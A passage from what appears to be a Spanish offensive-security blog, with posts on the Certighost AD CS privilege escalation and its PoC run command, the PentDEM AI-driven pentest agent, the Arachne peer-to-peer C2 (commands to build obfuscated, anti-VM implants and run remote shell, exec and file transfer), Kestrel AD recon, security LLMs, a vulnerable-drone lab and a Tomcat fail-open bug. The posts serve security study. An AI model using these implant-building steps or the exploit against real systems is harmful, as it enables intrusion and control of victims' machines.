~#hackplayers

Certighost: cuando un usuario de dominio puede acabar obteniendo un certificado de un Domain Controller (CVE-2026-54121)

2026-07-26T23:52:52.075+02:00

Si durante los últimos años ha habido una tecnología de Active Directory que ha pasado de ser la gran olvidada a convertirse en uno de los objetivos favoritos de Red Teams y atacantes reales, esa es Active Directory Certificate Services (AD CS). Desde la publicación de Certified Pre-Owned, la comunidad descubrió que una PKI mal configurada podía ser incluso más peligrosa que un Kerberoasting o un abuso de delegaciones.

Ahora llega una nueva vulnerabilidad bautizada como Certighost (CVE-2026-54121), una elevación de privilegios que afecta a Microsoft Active Directory Certificate Services y que, según Microsoft, permite que un usuario autenticado eleve privilegios a través de la red debido a un problema de autorización. La vulnerabilidad ha recibido una puntuación CVSS 8.8 y ya dispone de un Proof of Concept público.

Lo interesante de Certighost no es únicamente la vulnerabilidad, sino el objetivo final. Mientras muchos ataques contra AD CS buscan obtener un certificado válido para un usuario privilegiado, este fallo permite llegar mucho más lejos: conseguir un certificado que representa al propio Domain Controller.

Y cualquiera que haya trabajado con autenticación basada en certificados sabe lo que significa disponer de una identidad de máquina de un DC dentro del bosque.

No estamos hablando simplemente de escalar privilegios a Domain Admin, sino de obtener una identidad que participa directamente en numerosos mecanismos de autenticación de Active Directory.

La PoC

Apenas unas horas después de hacerse pública la vulnerabilidad apareció el repositorio de aniqfakhrul, que implementa un script en python para una prueba de concepto:

Crea una nueva cuenta de equipo (p. ej., GHOSTABCDEFGH$) o reutiliza una existente proporcionada mediante --computer-name.
Inicia dos listeners falsos: un servidor SMB/LSA en el puerto 445 y un servidor LDAP en el puerto 389.
Envía una solicitud de certificado como esa cuenta de equipo, incluyendo un atributo cdc personalizado que apunte a una IP controlada (mediante --listener; opcional, se detecta automáticamente si se omite) y un atributo rmd con el nombre DNS del controlador de dominio (DC) de destino.
La CA se conecta a los listeners LSA/LDAP no autorizados. Estos se autentican como la cuenta creada (validada a través del DC real mediante Netlogon) y responden a las consultas de la CA con la identidad del DC de destino (sAMAccountName, SID, dNSHostName).
La CA emite un certificado válido perteneciente al DC.
El script también ejecuta PKINIT con el archivo pfx del DC para solicitar .ccache y el hash NT.ç

sudo python3 certighost.py -d playground.local -u lowpriv -p 'Password1234' --dc-ip 192.168.1.10

La ejecución correcta escribe el certificado de destino (.pfx) y la caché de Kerberos (.ccache) en el directorio actual.

¿Qué debemos revisar?

Aunque Microsoft ya ha publicado actualizaciones para los sistemas afectados, parchear únicamente no debería ser la única medida.

Una revisión seria debería incluir, como mínimo:

Inventario completo de todas las Enterprise CA.
Revisión de plantillas de certificados.
Permisos de inscripción (Enroll y AutoEnroll).
Mapeo de autenticación mediante certificados.
Auditoría de eventos relacionados con solicitudes de certificados.
Revisión de configuraciones heredadas que permanezcan desde migraciones antiguas.

En muchas organizaciones descubriréis que la PKI lleva años funcionando sin que nadie haya vuelto a revisarla desde su instalación inicial.

Referencias

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121
https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26
https://github.com/ly4k/Certipy
PoC "Certighost" de aniqfakhrul. Repositorio GitHub

PentDEM: cuando los frameworks de pentesting empiezan a pensar

2026-07-21T00:34:10.780+02:00

Durante años, la automatización ofensiva ha consistido, en esencia, en encadenar herramientas: descubrir activos, enumerar servicios, ejecutar escáneres y generar un informe. Aunque este enfoque ha demostrado ser eficaz, sigue dependiendo de pipelines rígidos donde cada fase se ejecuta de forma secuencial y con escasa capacidad de adaptación. PentDEM, como algunos otros arneses que están apareciendo últimamente, propone una visión diferente. En lugar de centrarse en automatizar herramientas, intenta automatizar el proceso de razonamiento del pentester, situando un motor de decisión basado en IA por encima de los módulos ofensivos tradicionales.

Su arquitectura gira en torno a un ciclo continuo inspirado en el modelo OODA (Observe–Orient–Decide–Act). Cada hallazgo modifica el contexto de ejecución, genera nuevas hipótesis y replanifica automáticamente los siguientes pasos. El reconocimiento deja de ser una fase inicial para convertirse en un proceso permanente que evoluciona durante toda la auditoría. En este modelo, el conocimiento se construye progresivamente y la estrategia ofensiva se adapta en tiempo real conforme aparecen nuevos activos, tecnologías, credenciales o vectores de ataque.

Uno de los aspectos más interesantes del proyecto es la coexistencia de dos motores de ejecución. Por un lado, un Pipeline Engine ofrece un flujo determinista y reproducible, ideal para auditorías repetibles y entornos CI/CD. Por otro, el Autonomous Agent abandona el pipeline clásico para tomar decisiones dinámicas mediante un AI Decision Engine, que prioriza acciones, selecciona herramientas y genera hipótesis a partir del contexto acumulado. Esta separación permite combinar estabilidad con razonamiento adaptativo, una decisión arquitectónica especialmente acertada.

PentDEM introduce además una abstracción denominada Skills, que desacopla completamente las capacidades ofensivas de las herramientas concretas. El agente no decide ejecutar una utilidad específica, sino realizar una acción como "analizar un JWT", "enumerar GraphQL" o "buscar secretos en JavaScript". Esto permite sustituir o ampliar herramientas sin modificar el motor de planificación, convirtiendo la plataforma en un sistema altamente extensible.

El framework integra más de una treintena de herramientas y cubre un amplio abanico de dominios ofensivos: reconocimiento web, fingerprinting, análisis de JavaScript, APIs REST y GraphQL, OAuth, JWT, SSRF, XXE, SSTI, SQL Injection, XSS, Mass Assignment, Race Conditions, Cloud Metadata o bypass de WAF, entre otros. Sin embargo, su verdadero valor no reside en el número de utilidades integradas, sino en la capacidad para correlacionar sus resultados y construir automáticamente Kill Chains que enlazan hallazgos aparentemente independientes hasta formar rutas completas de compromiso.

Otro componente especialmente relevante es el Memory Engine, encargado de conservar conocimiento entre ejecuciones. En lugar de limitarse a almacenar resultados, mantiene información episódica, semántica y operacional sobre tecnologías, relaciones entre activos, credenciales, patrones de infraestructura y ataques previos. Esta memoria convierte cada auditoría en una fuente de conocimiento reutilizable y aproxima el comportamiento del sistema al de un agente cognitivo con experiencia acumulada.

La incorporación de un Quality Gate constituye otra de las decisiones más acertadas del diseño. Antes de que un hallazgo influya en el razonamiento del agente, pasa por un proceso de validación, correlación y puntuación que reduce la propagación de falsos positivos. En un sistema donde cada decisión condiciona las siguientes, evitar que una hipótesis errónea contamine toda la cadena de razonamiento resulta fundamental.

PentDEM también demuestra una preocupación poco habitual por el Operational Security (OPSEC). El framework adapta su comportamiento cuando detecta WAF, mecanismos de rate limiting, CDN o protecciones cloud, modificando la velocidad, el orden y la intensidad de las pruebas para reducir su huella. Aunque todavía existe margen de mejora en este ámbito, supone un paso importante frente a otros agentes autónomos que priorizan la cobertura frente a la discreción.

Tras analizar su arquitectura y código fuente, la conclusión es clara: PentDEM no debe entenderse como un competidor de Nmap, Burp Suite, ffuf o nuclei. Se sitúa un nivel por encima de ellos, utilizándolos como simples actuadores dentro de un sistema de planificación inteligente. Su principal aportación no es incorporar nuevas técnicas de explotación, sino demostrar que el futuro del pentesting automatizado probablemente dependerá menos del número de herramientas disponibles y más de la calidad de los motores capaces de decidir cuándo utilizarlas, cómo correlacionar sus resultados y cómo adaptar continuamente la estrategia ofensiva.

PentDEM todavía se encuentra en una fase temprana de madurez, pero las decisiones arquitectónicas que incorpora —agentes autónomos, planificación adaptativa, memoria persistente, validación integrada y abstracción mediante Skills— anticipan con bastante claridad la dirección que está tomando la investigación en Autonomous Offensive Security. Más que un simple framework de pentesting, representa una de las aproximaciones open source más interesantes hacia una nueva generación de plataformas ofensivas capaces de observar, razonar, aprender y actuar de forma cada vez más autónoma.

Proyecto: https://github.com/Gabson0x/pentdem

Arachne C2: cuando el Team Server deja de existir

2026-07-17T00:17:56.716+02:00

Existe un supuesto que prácticamente nadie cuestiona cuando diseña un framework de Command & Control: en algún lugar debe existir un servidor.

Puede estar oculto detrás de una CDN, protegido mediante redirectors, balanceado entre varios VPS o encapsulado tras múltiples capas de infraestructura efímera, pero siempre termina existiendo un punto lógico donde convergen operadores e implantes. Toda la evolución de los C2 modernos —desde Cobalt Strike hasta Sliver o Havoc— ha consistido en hacer ese servidor más resistente, más flexible o más difícil de descubrir. Muy pocos proyectos se preguntan si ese servidor debería existir siquiera.

Pues hoy os traemos una herramienta de C2 que parte precisamente de esa pregunta: Arachne C2.

El siguiente esquema refleja la arquitectura pública del proyecto: una topología descentralizada sin servidor C2 central, con descubrimiento P2P mediante DHT, mensajería PubSub (GossipSub) y comunicaciones autenticadas y cifradas entre el operador y los agentes.

Lo interesante del proyecto no es que utilice libp2p, ni que implemente DHT, ni siquiera que emplee GossipSub como mecanismo de distribución de mensajes. Lo realmente relevante es el cambio de paradigma que propone: sustituir completamente el modelo cliente-servidor por una red distribuida donde la infraestructura deja de ser el elemento alrededor del cual gira toda la operación.

Puede parecer una diferencia puramente arquitectónica, pero operacionalmente supone replantear algunos de los supuestos sobre los que se han construido las operaciones de Red Team durante los últimos quince años.

En un C2 tradicional, la infraestructura constituye tanto el activo más importante como el mayor riesgo operativo. El operador dedica una cantidad considerable de esfuerzo a desplegar servidores, configurar dominios, adquirir certificados TLS, implementar redirectors, establecer perfiles de tráfico convincentes y diseñar mecanismos que permitan rotar toda esa infraestructura cuando inevitablemente termine siendo identificada. El trabajo no consiste únicamente en mantener la comunicación con los implantes; consiste en mantener con vida el Team Server.

Arachne elimina completamente ese problema porque elimina el propio concepto de Team Server. No existe una dirección IP que actúe como punto central de coordinación. No existe un endpoint HTTP esperando conexiones. No existe un dominio cuya reputación pueda degradarse ni un certificado cuya huella pueda convertirse en un IOC. Lo único que existe es una colección de peers que comparten una red overlay construida mediante libp2p y que se identifican exclusivamente mediante identidades criptográficas persistentes.

Por otro lado, la mayor parte de los C2 modernos dedican enormes esfuerzos a camuflar el transporte. HTTP/2, WebSockets, QUIC o mTLS persiguen un objetivo común: parecer tráfico legítimo. Arachne, sin embargo, no intenta disfrazar la comunicación como tráfico web. Asume explícitamente un modelo de red completamente distinto, basado en protocolos P2P bien definidos, donde el problema deja de ser parecer una aplicación empresarial y pasa a ser construir una red distribuida suficientemente robusta para prescindir de infraestructura dedicada. Esa decisión tiene implicaciones tanto ofensivas como defensivas.

Desde la perspectiva del operador desaparecen IOC clásicos como dominios, certificados, redirectors o servidores de staging. Pero, al mismo tiempo, aparecen otros completamente diferentes: patrones propios del protocolo Identify de libp2p, tráfico GossipSub, intercambios asociados a Kademlia, secuencias de establecimiento del transporte Noise, mecanismos de hole punching o la propia participación en una DHT pública. Es decir, la superficie de detección no desaparece; simplemente migra desde la infraestructura hacia el comportamiento del protocolo. Y probablemente ahí reside el aspecto más interesante de Arachne. No pretende resolver el problema de la detección. Lo desplaza a una capa completamente diferente del stack.

Inicio rápido

1. Ejecutar el operador

./bin/arachne

En la primera ejecución se genera un par de claves en:

~/.arachne/operator.key (clave privada)
~/.arachne/operator.pub (clave pública)

2. Compilar un implante

Desde la consola del operador (generate) o de forma independiente:

./bin/arachne generate --os linux --arch amd64 --output ./myimplant --upx

Parámetros disponibles:

--os (linux, darwin, windows)
--arch (amd64, arm64)
--output
--pubkey
--upx (habilitado por defecto)
--obfuscate
--quiet
--antivm

Opciones destacadas

--obfuscate elimina nombres de funciones, rutas de paquetes y cadenas literales mediante garble (se instala automáticamente si no está presente). Puede combinarse con --upx para aumentar la protección del binario.
--antivm incorpora detección de máquinas virtuales durante la compilación. El implante ejecuta más de 65 técnicas de detección, incluyendo:
- Firmas CPUID
- Prefijos MAC
- DMI/SMBIOS
- Identificadores de fabricantes PCI
- Enumeración de procesos
- Claves del registro
- Detección de contenedores
Todo ello utilizando un sistema de puntuación acumulativa compatible con VMAware. Si la puntuación supera el 50 %, el implante finaliza su ejecución de forma limpia.
Implementado íntegramente en Go, sin necesidad de CGO ni compiladores cruzados.

Cada compilación genera un par de claves único embebido, por lo que el implante mantiene el mismo PeerID incluso después de reiniciarse.

3. Desplegar y ejecutar el implante

Copiar el binario al equipo de destino y ejecutarlo:

./myimplant

El implante localizará automáticamente al operador mediante la DHT, se registrará y comenzará a comunicarse a través de un flujo persistente utilizando un mecanismo automático de mantenimiento de la conexión (keepalive).

4. Utilizar la consola del operador

Desde el prompt del operador:

arachne> list
  0: user@hostname [linux/amd64] last=5s peer=12D3Koo...

arachne> select 0
arachne (user@hostname) > exec whoami

Comandos disponibles:

list
select <n>
exec <comando>
ls <ruta>
cd <ruta>
pwd
ps
shell
portfwd <puerto> <host:puerto>
download <ruta>
upload <ruta>
generate [opciones]
regenerate
help [comando]
exit

Dentro de la shell interactiva, escriba exit o pulse Ctrl+] para regresar al prompt de Arachne.

Para obtener ayuda detallada de un comando:

help <comando>

<comando> --help
Comandos disponibles

Comando	Descripción
`list`	Muestra los implantes registrados.
`select <idx>`	Selecciona un implante por su índice.
`ps`	Lista los procesos del implante seleccionado.
`ls <ruta>`	Lista el contenido de un directorio.
`cd <ruta>`	Cambia el directorio de trabajo.
`pwd`	Muestra el directorio actual.
`shell`	Abre una shell interactiva mediante un flujo directo de libp2p. Salir con Ctrl+].
`portfwd <puerto> <host:puerto>`	Redirige un puerto local a través del implante.
`exec <comando> [argumentos]`	Ejecuta un comando y devuelve su salida.
`download <ruta>`	Descarga un archivo desde el implante.
`upload <origen> <destino>`	Sube un archivo al implante.
`generate [opciones]`	Compila un implante para cualquier sistema operativo y arquitectura. Instala automáticamente Go y garble si es necesario. Opciones disponibles: `--os`, `--arch`, `--output`, `--pubkey`, `--upx`, `--obfuscate`, `--quiet`, `--antivm`.
`regenerate`	Regenera el par de claves del operador. Los implantes existentes dejarán de poder comunicarse con el nuevo operador.
`help [comando]`	Muestra la ayuda general o la documentación de un comando concreto.
`exit`	Sale del operador.

Proyecto: https://github.com/portbuster1337/ArachneC2

Kestrel: reconocimiento pasivo de Active Directory con un footprint mínimo

2026-07-16T23:50:13.924+02:00

La mayoría de las herramientas de reconocimiento para Active Directory comparten un problema: aunque son extremadamente eficaces, su ejecución genera una cantidad considerable de telemetría que los EDR modernos aprovechan para identificar actividad de reconocimiento.

Proyectos como SharpHound o PowerView son ya un estándar dentro de los ejercicios de Red Team, pero precisamente por su amplia adopción también constituyen una referencia para las reglas de detección. La carga del CLR, la ejecución de PowerShell, el uso de ensamblados .NET y determinados patrones de consultas LDAP forman parte de la superficie de exposición que los defensores monitorizan habitualmente.

En este contexto resulta especialmente interesante Kestrel, un proyecto open source desarrollado íntegramente en C nativo cuyo objetivo no es descubrir nuevas técnicas de enumeración, sino ejecutar las ya conocidas utilizando únicamente componentes nativos de Windows.

Su principal característica es que consume Active Directory Services Interfaces (ADSI) mediante COM, eliminando completamente la dependencia de .NET, PowerShell y del Common Language Runtime (CLR).

Desde un punto de vista técnico, esto implica que el proceso interactúa directamente con las interfaces COM expuestas por ADSI para realizar consultas LDAP, aproximándose mucho más al comportamiento esperado de aplicaciones empresariales que necesitan consultar Active Directory que al de herramientas ofensivas tradicionales.

Esta diferencia puede parecer sutil, pero tiene implicaciones importantes desde la perspectiva de la telemetría:

La ausencia del CLR elimina una fuente habitual de instrumentación utilizada por muchos EDR.
No existe ejecución de PowerShell ni AMSI asociado al proceso.
Se evita la carga de ensamblados .NET frecuentemente relacionados con herramientas de reconocimiento.
El proceso presenta una cadena de llamadas mucho más cercana a la de software Windows nativo que utiliza ADSI como mecanismo legítimo de acceso al directorio.

Obviamente, esto no convierte a Kestrel en una herramienta "indetectable". Las consultas LDAP siguen siendo observables, la actividad de red continúa existiendo y un entorno correctamente instrumentado puede detectar comportamientos anómalos mediante correlación de eventos, frecuencia de consultas, análisis del cliente LDAP o modelos de comportamiento.

Sin embargo, el proyecto pone el foco donde realmente está evolucionando el panorama ofensivo: reducir el footprint operativo, eliminando dependencias que históricamente han servido como indicadores de alta fidelidad para los mecanismos de detección.

Más que una nueva herramienta de enumeración, Kestrel representa una tendencia cada vez más evidente en el desarrollo de capacidades ofensivas: volver a las APIs nativas del sistema operativo para minimizar la telemetría asociada a frameworks administrados y hacer que la actividad se parezca, lo máximo posible, a la de una aplicación Windows legítima.

Para quienes trabajamos en Red Team, Purple Team o Detection Engineering, proyectos como este son especialmente valiosos porque obligan a replantear una cuestión fundamental: ¿estamos detectando herramientas concretas o realmente estamos detectando comportamientos?

Proyecto: https://github.com/ssteelfactor-oss/Kestrel

Los mejores LLM Open Source para Pentesting y Vulnerability Research (2026): separando el hype de la realidad

2026-07-09T00:40:53.976+02:00

"En IA aplicada a ciberseguridad estamos viviendo el mismo momento que vivimos con los EDR hace diez años: mucho marketing, muchos benchmarks y todavía pocas comparativas realmente útiles."

Hace unas semanas me encontré con un interesante hilo en X donde se enumeraban algunos de los modelos open source más prometedores para ciberseguridad. El listado incluía nombres como VulnLLM-R, Foundation-Sec-8B-Reasoning, CyberSecQwen o Meta-SecAlign, acompañados de afirmaciones tan llamativas como "supera a Claude", "es el rey del offensive code analysis" o "ha encontrado zero-days reales". Como suele ocurrir en este sector, la realidad es bastante más interesante que el titular.

Los últimos dieciocho meses han supuesto un cambio profundo en el desarrollo de modelos de lenguaje especializados. Frente a la carrera por construir modelos cada vez más grandes, empiezan a consolidarse los Vertical Foundation Models: modelos relativamente pequeños —7B, 8B o 14B parámetros— entrenados específicamente para resolver problemas de un único dominio. En nuestro caso, la ciberseguridad. La pregunta es inevitable: "¿Realmente merece la pena abandonar un Qwen o un DeepSeek para utilizar uno de estos modelos especializados?" Bueno, depende muchísimo del caso de uso. Y esa es precisamente la parte interesante.

Antes de empezar: un aviso sobre los benchmarks

Una buena parte de las comparativas que circulan por Internet son, sencillamente, engañosas. No porque los datos sean falsos. Sino porque miden cosas distintas.

Cuando un fabricante afirma que su modelo "supera a GPT-4" o "vence a Claude", normalmente está hablando de un benchmark muy concreto:

CTI-MCQA
CTI-RCM
SecurityBench
Root Cause Mapping
VulnBench

Eso no significa que vaya a funcionar mejor durante una auditoría real. Y ocurre exactamente igual al contrario.

Hay modelos excelentes programando que son bastante mediocres razonando sobre vulnerabilidades complejas. Mi consejo es sencillo: No preguntes cuál es el mejor modelo. Pregunta cuál es el mejor modelo para la tarea concreta que vas a realizar. Porque probablemente obtendrás una respuesta diferente.

1. Qwen3 / Qwen2.5-Coder

El auténtico todoterreno

Si mañana tuviera que borrar todos los modelos de mi laboratorio excepto uno, probablemente conservaría Qwen. Y creo que no sería el único.

Mientras gran parte de la comunidad perseguía modelos "especializados", Alibaba ha ido refinando silenciosamente una familia de modelos extraordinariamente equilibrada. No son modelos de ciberseguridad. Y precisamente ahí reside parte de su éxito.

Su entrenamiento masivo en programación hace que entiendan código con una naturalidad difícil de encontrar incluso en modelos mucho más grandes.

En auditorías de código destacan especialmente por:

seguir correctamente cadenas de llamadas;
explicar arquitecturas complejas;
comprender proyectos enormes;
generar PoCs bastante razonables;
escribir reglas para Semgrep o CodeQL;
ayudar durante reversing.

Curiosamente, en muchos escenarios siguen superando a modelos específicamente entrenados para seguridad. No porque sepan más sobre CVEs, sino porque razonan mejor.

Lo mejor

Excelente relación calidad/tamaño.
Muy buena comprensión de C/C++.
Fantástico para reversing.
Muy pocos falsos positivos comparado con modelos pequeños.

Lo peor

No posee entrenamiento específico sobre CTI, ATT&CK o workflows SOC.

Para análisis de inteligencia suele quedarse por detrás de modelos verticales.

Mi nota: ⭐⭐⭐⭐⭐

2. Foundation-Sec-8B-Reasoning

Cuando Cisco decidió entrenar un modelo para analistas

Foundation-Sec probablemente sea el proyecto más serio aparecido durante el último año. No tanto por el modelo sino por la filosofía. En lugar de crear otro chatbot especializado, Cisco ha intentado construir un modelo que razone como un analista.

El entrenamiento incorpora conocimiento específico de CVE, CWE, MITRE ATT&CK, NIST, informes de inteligencia y documentación técnica, y la versión Reasoning añade una fase de entrenamiento orientada al razonamiento multi-paso mediante Supervised Fine-Tuning y Reinforcement Learning from Verifiable Rewards.

Los resultados publicados por Cisco muestran mejoras consistentes en benchmarks como CTI-RCM, CTI-VSP y tareas de razonamiento de inteligencia de amenazas frente a modelos generalistas de tamaño similar.

Ahora bien. Aquí conviene poner el gorro de investigador. Todos esos benchmarks proceden del propio equipo desarrollador. No significa que sean incorrectos. Pero sí que todavía faltan evaluaciones independientes.

De hecho, en la comunidad de LocalLLaMA pueden encontrarse experiencias muy dispares: desde usuarios satisfechos con tareas de CTI hasta otros que consideran que modelos generalistas recientes como Qwen ofrecen un mejor rendimiento práctico en determinadas tareas de ingeniería. Eso recuerda una lección clásica en seguridad: un benchmark no sustituye a una prueba de campo.

Lo mejor

Excelente para SOC.
Muy bueno en Threat Intelligence.
Muy sólido razonando.
Open Weight.

Lo peor

Todavía necesita más validación independiente.

Mi nota: ⭐⭐⭐⭐☆

3. VulnLLM-R

El modelo que todo el mundo está observando

Si tuviera que apostar por el proyecto más interesante del momento sería éste. No porque sea necesariamente el mejor sino porque cambia completamente el enfoque.

Hasta ahora casi todos los modelos intentaban reconocer patrones. VulnLLM-R intenta razonar sobre estados del programa. Parece un detalle pero no lo es, es un cambio enorme.

Los autores entrenan el modelo utilizando trazas de razonamiento específicas para análisis de vulnerabilidades y construyen un agente capaz de combinar ese razonamiento con herramientas externas. En su trabajo reportan mejoras frente a analizadores tradicionales y a varios modelos comerciales en conjuntos de datos de Python, C/C++ y Java, además de describir el hallazgo de vulnerabilidades previamente desconocidas en proyectos reales mediante su agent scaffold.

¿Significa eso que va a sustituir a CodeQL?

No. Ni mucho menos. Pero sí demuestra algo muy interesante: Que un modelo relativamente pequeño puede competir con herramientas clásicas cuando se combina con un flujo de trabajo adecuado. Y probablemente ese sea el verdadero futuro. No un LLM sino un ecosistema.

Lo mejor

Muy prometedor.
Excelente paper.
Magnífico planteamiento.

Lo peor

Resultados todavía poco reproducidos por terceros.

Mi nota: ⭐⭐⭐⭐⭐ (con asterisco)

4. CyberSecQwen

El utilitario que probablemente usarás todos los días

No todos los modelos necesitan descubrir un zero-day. La mayoría del tiempo un investigador hace cosas mucho más mundanas: leer un advisory, explicar un exploit, relacionar un CVE con ATT&CK, analizar un script sospechoso, clasificar malware, etc.

En ese terreno los modelos ligeros derivados de Qwen funcionan sorprendentemente bien. Especialmente cuando disponemos únicamente de 16 GB de RAM. No impresionan pero trabajan rápido y muchas veces eso importa más.

5. Gemma 3 y Phi-4

Los pequeños gigantes

Google y Microsoft han seguido caminos distintos pero ambos demuestran la misma idea. No hacen falta 70.000 millones de parámetros para ser útiles. Gemma destaca especialmente por eficiencia. Phi por capacidad de razonamiento. Para laboratorios portátiles siguen siendo dos opciones magníficas.

¿Qué dicen realmente los estudios comparativos?

Uno de los trabajos más interesantes publicados este año enfrentó modelos frontier y modelos especializados en dos escenarios muy diferentes: detección de vulnerabilidades a nivel de función (white-box) y pentesting sobre aplicaciones web con vulnerabilidades conocidas (black-box).

Los resultados son bastante reveladores:

Los modelos generalistas de última generación presentaron tasas de falsos positivos del 10 % al 50 % en tareas de análisis estático.
En pruebas de pentesting automatizado, incluso combinados con herramientas externas como Burp Suite MCP o Playwright MCP, sólo consiguieron cubrir entre un 10 % y un 19 % de las vulnerabilidades existentes.
Los mejores resultados llegaron cuando se emplearon agentes especializados con metodologías de pruebas estructuradas, más que simplemente aumentando el tamaño del modelo.

La conclusión es casi contraintuitiva. El cuello de botella ya no parece ser el número de parámetros. Empieza a ser la metodología.

Mi ranking personal (2026)

Categoría	Modelo
Auditoría de código	Qwen3 / Qwen2.5-Coder
Vulnerability Research	VulnLLM-R
Threat Intelligence	Foundation-Sec-8B-Reasoning
Laboratorio portátil	Gemma 3 4B
Mejor equilibrio	Qwen3 14B
Mejor proyecto emergente	VulnLLM-R
Mejor modelo para construir agentes	Foundation-Sec + herramientas externas

La conclusión que nadie quiere escuchar

Después de probar decenas de modelos he llegado a una conclusión bastante poco popular: seguimos haciéndonos la pregunta equivocada. No deberíamos preguntar cuál es el mejor LLM para pentesting, la pregunta correcta sería: ¿Qué combinación de modelo, herramientas y metodología resuelve mejor mi problema?

Porque los mejores resultados que estoy viendo ya no provienen de un único modelo gigantesco. Provienen de sistemas híbridos: un LLM que coordina, CodeQL que filtra, Semgrep que reduce ruido, Joern que aporta contexto estructural, MCPs que recuperan únicamente el código relevante, y el investigador tomando las decisiones importantes.

Quizá dentro de unos años un modelo sea capaz de realizar una auditoría completa sin ayuda pero hoy todavía no estamos ahí.

Pero sí estamos en un momento mucho más interesante. Estamos dejando atrás la era de los chatbots para entrar, por fin, en la era de los copilotos especializados. Y, como casi siempre ocurre en seguridad, la diferencia no la marcará quien tenga el modelo más grande, la marcará quien construya el mejor flujo de trabajo alrededor de él.

Damn Vulnerable Drone: un laboratorio para aprender a atacar (y defender) drones de forma segura

2026-07-03T23:49:19.532+02:00

En los últimos años, la seguridad de los drones ha pasado de ser un nicho de investigación a convertirse en un área con un enorme interés para la industria y la ciberseguridad. La proliferación de UAV en sectores como la logística, la agricultura, la inspección industrial o los servicios de emergencia hace que entender cómo funcionan —y cómo pueden ser atacados— sea cada vez más importante.

En ese contexto descubrí Damn Vulnerable Drone (DVD), un proyecto open source que me ha parecido especialmente interesante porque traslada el concepto de las aplicaciones "deliberadamente vulnerables" al mundo de los drones. En lugar de aprender sobre vulnerabilidades de forma teórica, el proyecto ofrece un laboratorio completo donde es posible experimentar con una arquitectura muy similar a la que encontramos en plataformas reales, pero dentro de un entorno totalmente controlado.

Lo interesante es que no se limita a simular un dron. Recrea todo el ecosistema que suele rodear a un UAV moderno: un controlador de vuelo basado en ArduPilot, un Companion Computer, una estación de control terrestre, las comunicaciones entre todos estos componentes y la simulación física mediante Gazebo, todo ello orquestado con Docker. Esta aproximación permite entender cómo interactúan las distintas piezas del sistema y, sobre todo, cómo una vulnerabilidad en cualquiera de ellas puede afectar al conjunto.

Url del video: https://youtu.be/EHTQv6IfnwI

A partir de esa base, el laboratorio propone diferentes escenarios donde el objetivo no es simplemente "explotar una vulnerabilidad", sino comprender el funcionamiento interno de protocolos como MAVLink, analizar el tráfico de telemetría, interceptar comunicaciones entre el dron y la estación de control, comprometer el Companion Computer o estudiar las implicaciones de servicios mal configurados y flujos de vídeo inseguros. Es un enfoque muy cercano al trabajo que realizaría un investigador de seguridad durante una evaluación real de un sistema UAV.

Creo que ese es precisamente uno de los puntos fuertes del proyecto. Obliga a salir de la visión tradicional del pentesting y adentrarse en un entorno donde convergen sistemas embebidos, robótica, redes, IoT y sistemas ciberfísicos. Para quienes trabajamos en ciberseguridad, es un recordatorio de que proteger un dron no consiste únicamente en asegurar el firmware del controlador de vuelo, sino en entender todo el ecosistema tecnológico que lo rodea.

Además, el hecho de que todo pueda ejecutarse mediante simulación elimina una de las principales barreras de entrada: no hace falta disponer de un dron físico para empezar a aprender. Eso lo convierte en un recurso muy recomendable tanto para investigadores como para estudiantes, equipos Red Team o cualquier profesional que quiera iniciarse en la seguridad ofensiva aplicada a UAV.

Me parece un proyecto que merece la pena seguir de cerca y que demuestra cómo los laboratorios prácticos continúan siendo una de las mejores formas de aprender ciberseguridad.

Repositorio del proyecto: https://github.com/nicholasaleks/Damn-Vulnerable-Drone

Cuando un parche rompe el modelo de seguridad: anatomía de la regresión fail-open en Apache Tomcat Tribes (CVE-2026-34486)

2026-06-25T23:39:45.942+02:00

Las vulnerabilidades más interesantes rara vez aparecen por errores complejos de criptografía o por sofisticadas técnicas de explotación. En muchas ocasiones surgen como consecuencia de una modificación aparentemente inocua durante un refactoring. Eso es exactamente lo que ocurrió con CVE-2026-34486.

En este artículo vamos a analizar cómo una única modificación en el flujo de control de Tomcat Tribes convirtió un componente diseñado para impedir la deserialización de mensajes no confiables en un mecanismo que, precisamente, permitía que dichos mensajes alcanzaran el código de deserialización.

Más allá del CVE concreto, el caso resulta especialmente interesante porque ejemplifica uno de los errores de diseño más peligrosos en software de seguridad: pasar de un comportamiento fail-closed a otro fail-open.

Recordando cómo funciona Tomcat Tribes

Tomcat Tribes implementa el sistema de clustering de Apache Tomcat. Su objetivo principal consiste en replicar información entre distintos nodos del clúster, especialmente sesiones HTTP, mensajes internos y eventos de replicación. La comunicación se realiza mediante un protocolo propio sobre TCP.

Simplificando el flujo:

El punto importante es que la deserialización ocurre únicamente después de atravesar la cadena de interceptores. Por tanto, el modelo de seguridad asumía que cualquier mensaje recibido ya había sido autenticado (o, más concretamente, correctamente descifrado).

El papel del EncryptInterceptor

Cuando el administrador configura cifrado entre nodos del clúster, Tomcat inserta un EncryptInterceptor.

Su responsabilidad es sencilla:

recibir el mensaje
descifrarlo
reemplazar el contenido original
reenviarlo al siguiente interceptor

El comportamiento esperado es: llega el mensaje, lo descifra (decrypt ()) y lo deja continuar si tiene éxito o lo descarta si hay algún error. Es decir, un diseño claramente fail-closed.

Hasta Tomcat 11.0.18, el método seguía precisamente esa lógica:

public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);

        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);

        super.messageReceived(msg);

    } catch (GeneralSecurityException gse) {
        log.error(...);
    }
}

La llamada a:

super.messageReceived(msg);

estaba dentro del bloque try.

Si el descifrado fallaba se lanzaba una excepción, el mensaje nunca continuaba y la deserialización jamás ocurría. Desde el punto de vista del diseño, el comportamiento era correcto.

El refactoring

Durante la corrección de una vulnerabilidad previa relacionada con el uso de CBC y padding oracle, el código fue reorganizado para facilitar nuevos algoritmos como AES-GCM. En ese proceso apareció un cambio aparentemente irrelevante.

public void messageReceived(ChannelMessage msg) {

    try {

        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);

        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);

    } catch (GeneralSecurityException gse) {

        log.error(...);

    }

    super.messageReceived(msg);
}

La única diferencia importante es la posición de una línea. Desde el punto de vista del compilador, el código sigue siendo perfectamente válido, pero desde el punto de vista del modelo de seguridad, ya no.

Ahora el flujo pasa a ser:

La excepción deja de detener el procesamiento. El mensaje continúa exactamente igual. Sin modificar. Sin validar. Sin autenticarse...

